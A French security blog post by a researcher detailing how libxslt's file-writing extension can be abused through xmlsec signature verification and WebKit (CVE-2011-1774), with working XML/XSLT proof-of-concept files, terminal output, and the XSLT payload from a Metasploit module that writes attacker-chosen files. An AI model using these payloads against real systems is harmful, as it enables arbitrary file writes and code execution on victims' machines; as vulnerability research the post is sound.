October 2011 Archives

lundi 31 octobre 2011, 15:18:02 (UTC+0100)

xmlsec et webkit, deux vecteurs pour abuser de libxslt

Suite à l'article "Webkit + XSLT = CVE-2011-1774" publié dans le MISC HS 4 "A l'assaut du Web", voici quelques détails techniques supplémentaires sur deux vecteurs permettant d'abuser certaines fonctionnalités de libxslt : xmlsec et webkit.


 Tout d'abord, un bref rappel sur libxslt : ce moteur XSLT, développé dans le cadre du projet Gnome, contient une extension permettant de stocker dans un fichier le résultat d'une transformation XSLT. Voici à quoi ressemble un usage minimaliste de cette extension (apt-get install xsltproc).


Le fichier XML (télécharger) :

  1  <?xml version="1.0"?> 
  2  <doc>
  3  <evil>Here's the payload</evil>
  4  <normal>Something else</normal>  
  5  </doc>

Rien de particulier à dire : un champ sera affiché à l'écran (ligne 4), l'autre devant être écrit dans un fichier (ligne 3).

Le fichier XSL (télécharger) :

  1  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  2  		xmlns:sx="http://icl.com/saxon"
  3  		extension-element-prefixes="sx"
  4             version='1.0'>
  5    <xsl:template match="doc/evil">
  6      <sx:output href="/tmp/0wn3d" method="text">
  7          <xsl:apply-templates/>
  8      </sx:output>
  9    </xsl:template>
 10  </xsl:stylesheet>

On commence par définir deux espaces de nommage (namespace) : "xsl" qui pointe vers les fonctionnalités décrites dans la version 1.0 de la norme XSLT (ligne 1) et "sx" qui pointe vers certaines extensions propres à libxslt (ligne 2). Il est à noter que la fonction de création de fichier est appelable depuis plusieurs autres namespaces : "http://exslt.org/common", "org.apache.xalan.xslt.extensions.Redirect", "http://www.jclark.com/xt", ...

Il suffit ensuite de définir un template correspondant à notre payload (ligne 5), de rediriger la sortie vers un fichier (ligne 6) puis d'appliquer le template (ligne 7). Jusque là, c'est simple, non ? L'exécution en ligne de commande :

nico ~ > xsltproc min.xsl min.xml | hd
00000000  3c 3f 78 6d 6c 20 76 65  72 73 69 6f 6e 3d 22 31  |<?xml version="1|
00000010  2e 30 22 3f 3e 0a 0a 0a  53 6f 6d 65 74 68 69 6e  |.0"?>...Somethin|
00000020  67 20 65 6c 73 65 20 20  0a 0a                    |g else  ..|

nico ~ > cat /tmp/0wn3d | hd
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64                                             |ad|
00000012

 Essayons maintenant d'appliquer cela à xmlsec. Depuis les présentations par iSec à Blackhat en 2007, on sait que certains moteurs XML-DSIG supportent XSLT. Les bonnes pratiques ont beau déconseiller cela, on en trouve encore régulièrement dans la nature. Comme par exemple xmlsec ... Ce qui permet d'exécuter du code XSLT lors d'une vérification de signature.


Le fichier à vérifier (télécharger) :

  1 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  2   <ds:SignedInfo>
  3     <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"></ds:CanonicalizationMethod>
  4     <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"></ds:SignatureMethod>
  5     <ds:Reference URI="#Payload">
  6       <ds:Transforms>
  7         <ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments"></ds:Transform>
  8         <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
  9           <xsl:stylesheet extension-element-prefixes="sx" version="1.0" xmlns:sx="http://icl.com/saxon"
                                                          xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 10             <xsl:template match="/">
 11               <sx:output file="/tmp/0wn3d" method="text">
 12                 <xsl:apply-templates/>
 13               </sx:output>
 14             </xsl:template>
 15           </xsl:stylesheet>
 16         </ds:Transform>
 17       </ds:Transforms>
 18       <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod>
 19       <ds:DigestValue>ipbs0UyafkdRIcfIo9zyZLce+CE=</ds:DigestValue>
 20     </ds:Reference>
 21   </ds:SignedInfo>
      .....
 60       </ds:DSAKeyValue>
 61     </ds:KeyValue>
 62   </ds:KeyInfo>
 63   <ds:Object Id="Payload">Here's the payload !</ds:Object>
 64 </ds:Signature>

On définit une référence interne au document (fragment "#Payload", ligne 5) qui pointe vers un objet défini à la fin du fichier (ligne 63). On définit à l'intérieur de la référence deux transformations : une canonicalisation C14N (ligne 7) et une transformation XSLT (ligne 8). Le code de la transformation est défini des lignes 9 à 15 et est très similaire au code vu précédemment.


Lors de la vérification de signature, on obtient ceci :

nico ~ > xmlsec1 --verify xmldsig.txt
func=xmlSecOpenSSLEvpDigestVerify:file=digests.c:line=229:obj=sha1:subj=unknown:error=12:invalid data:data and digest do not match
FAIL
SignedInfo References (ok/all): 0/1
Manifests References (ok/all): 0/0
Error: failed to verify file "xmldsig.txt"
nico ~  > cat /tmp/0wn3d | hd         
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64 20 21                                       |ad !|
00000014

Ca marche ;-) Evidemment, la signature n'est pas valable, mais là n'est pas le but de cet exemple.


 Mainteant, au tour de Webkit ! Il est tout à fait possible d'utiliser les fichiers XML et XSLT vu précédemment, en ajoutant simplement au fichier XML une processing instruction indiquant au moteur où trouver le code XSLT :

<?xml-stylesheet href="min.xsl" type="text/xsl" ?>

Mais il est possible de faire mieux (utilisation de variables, code XSLT contenu dans le fichier XML, sortie en XHTML ou SVG, ...), comme documenté dans l'exploit pour Metasploit (télécharger) :

  1 <?xml-stylesheet type="text/xml" href="#fragment"?>
  2 <!-- Define the DTD of the document
  3      This is needed, in order to later reference the XSLT stylesheet by a #fragment
  4      This trick allows to have both the XML and the XSL in the same file
  5      Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
  6 <!DOCTYPE doc [
  7  <!ATTLIST xsl:stylesheet
  8  id ID #REQUIRED
  9 >]>
 10 <doc>
 11 
 12 <!-- Define location and content of the file -->
 13 <path><![CDATA[#{path}]]></path>
 14 <content><![CDATA[#{content}]]></content>
 15 
 16 <!-- The XSLT stylesheet header, including the "sx" extension -->
 17 <xsl:stylesheet id="fragment" version="1.0" 
 18   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 19   xmlns:sx="http://icl.com/saxon"
 20   extension-element-prefixes="sx"
 21   xmlns="http://www.w3.org/1999/xhtml" >
 22 <xsl:output method="xml" indent="yes" />
 23 
 24 <!-- The XSLT template -->
 25 <xsl:template match="/">
 26         <!-- Create the file -->
 27         <xsl:variable name="path" select="//path/text()"/>
 28         <sx:output file="{$path}" method="text">
 29                 <xsl:value-of select="//content"/>
 30         </sx:output>
 31         <!-- Send some output to the browser -->
 32         <html> </html>
 33 </xsl:template>
 34 </xsl:stylesheet>
 35 </doc>

La première astuce est l'utilisation d'un DTD définissant un champ "id", permettant au fichier XML de pointer vers du code XSLT contenu dans le même document. Ainsi, le DTD est défini des lignes 6 à 10, et la processing instruction (ligne 1) pointe vers un fragement défini en ligne 17. Deux variables (lignes 13 et 14) servent à recevoir les valeurs définies dans le module auxiliaire pour Metasploit. La version dédiée à Windows utilise des valeurs "en dur" permettant l'obtention d'un shell si l'utilisateur est admin de son poste (technique MOF popularisée par Stuxnet). Le code ci-dessus génère un contenu XHTML, mais pourrait tout aussi bien générer du SVG en ajoutant au document de résultat un DOCTYPE adapté :

<xsl:output method="xml" indent="yes"
   doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
   doctype-public="-//W3C//DTD SVG 1.1//EN" />

En dehors de xmlsec et webkit, il existe bien d'autres vecteurs (dont le format PDF tel que supporté par Adobe Reader), avec lesquels je joue en fonction du temps que je peux y consacrer. Et il n'est pas improbable que de nouvelles vulnérabilités, liées à l'utilisation non restreinte de moteurs XSLT, aparraissent bientôt. Il est à noter que ces problèmes ne sont pas limités à libxslt, loin de là ! A titre d'exemple, Adobe Reader X utilise une très très vieille version de Sablotron ;-)


Posted by Nicolas Grégoire | Permanent link

webmaster@agarri.fr
Copyright 2010-2021 Agarri